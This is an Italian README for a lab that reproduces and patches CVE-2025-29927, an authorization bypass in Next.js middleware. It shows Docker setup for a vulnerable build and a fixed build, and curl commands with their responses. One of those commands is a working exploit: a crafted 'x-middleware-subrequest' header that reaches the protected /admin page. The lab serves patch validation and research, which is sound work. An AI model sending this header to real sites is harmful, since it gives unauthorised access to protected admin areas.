
Riproduzione e fix della vulnerabilità CVE-2025-29927.
Riproduzione e fix della vulnerabilità CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
In vulnerable/ c'è una versione dell'applicazione vulnerabile all'attacco. In fixed/ c'è una versione dell'applicazione aggiornata alla versione minima che corregge la vulnerabilità.
⚠️ Importante: Questi esempi sono forniti per difensori, ricercatori e team che validano le patch. Non eseguire queste immagini su reti pubbliche o di produzione. Testa solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.
Riproduzione della vulnerabilità CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Esegui questo comando, che dovrebbe essere reindirizzato alla pagina di login
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Quindi esegui questo comando, che dovrebbe poter accedere alla pagina admin
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Fix della vulnerabilità CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Esegui questo comando, che dovrebbe essere reindirizzato alla pagina di login
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Quindi esegui questo comando, che ora dovrebbe anch'esso essere reindirizzato alla pagina di login
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Questo repository è basato su l1uk/nextjs-middleware-exploit, ma adattato per la versione 15.x di Next.js.